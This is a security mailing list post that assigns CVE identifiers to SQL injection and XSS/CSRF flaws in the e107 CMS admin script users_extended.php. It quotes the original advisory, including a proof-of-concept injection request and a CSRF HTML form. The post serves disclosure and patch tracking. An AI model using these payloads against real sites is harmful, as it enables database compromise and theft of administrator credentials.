Home page logo

oss-sec logo oss-sec mailing list archives

Re: CVE-request: e107 HTB23004
From: Kurt Seifried <kseifried () redhat com>
Date: Wed, 28 Mar 2012 23:07:06 -0600

On 03/28/2012 12:38 AM, Henri Salo wrote:
I won't veriify these vulnerabilities manually. Please assign 2011 CVE-identifier.

Original advisory: https://www.htbridge.com/advisory/multiple_vulnerabilities_in_e107_1.html
These vulnerabilities have been fixed in 12306 revision.

Please do not ask me why changelog entry does not say anything about security problems. HTBridge has tested that 
vulnerabilities do not exist after patches.

From HTBridge:

On the 6 of July a correction was released:

Details of this corrections are available here:

Corrections for our vulnerabilities are marked as "User extended fields administration improvements and cleanup".

The changelog: http://e107.org/svn_changelog.php?version=0.7.26 confirms that this correction was applied to e107 
0.7.26 version.

- Henri Salo

Quoted the advisory below, please include this stype of stuff in future
(so I can reply clearly, and in case the wbe page goes away, etc.).

Advisory Details:

1. SQL injection in e107

Please use CVE-2011-4946 for this issue

The vulnerability exists due to failure in the
"/e107_admin/users_extended.php" script to properly sanitize
user-supplied input in "user_field" variable. Successful exploitation of
the vulnerability requires administrator's privileges, and
"magic_quotes_gpc" to be disabled. Attacker can alter queries to the
application SQL database, execute arbitrary queries to the database,
compromise the application, access or modify sensitive data, or exploit
various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following
PoC code is available:

POST /e107_admin/users_extended.php?cat= HTTP/1.1
Host: HOST
Cookie: <valid session cookies>
Content-Type: application/x-www-form-urlencoded

user_field=sss','',0, ','','', '0',

2. XSS in e107

Please use CVE-2011-4947 for this issue

User can execute arbitrary JavaScript code within the vulnerable

The vulnerability exists due to failure in the
"/e107_admin/users_extended.php" script to properly sanitize
user-supplied input in "user_include" variable. Successful exploitation
of this vulnerability could result in a compromise of the application,
theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.

This XSS vulnerability can be exploited by a malicious user during an
CSRF attack against logged-in website administrator to steal his
credentials and/or perform any authorized actions with administrator's

An attacker should make logged-in victim (e.g. website administrator)
visit a malicious web page to exploit this vulnerability. The following
PoC is available:

<iframe id=f1 src='form.html'></iframe>

<form method="POST"
action="http://HOST/e107_admin/users_extended.php?editext"; name=m>
<input type="hidden" name="user_field" value="abcde1f1">

<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include"
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>

Kurt Seifried Red Hat Security Response Team (SRT)

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]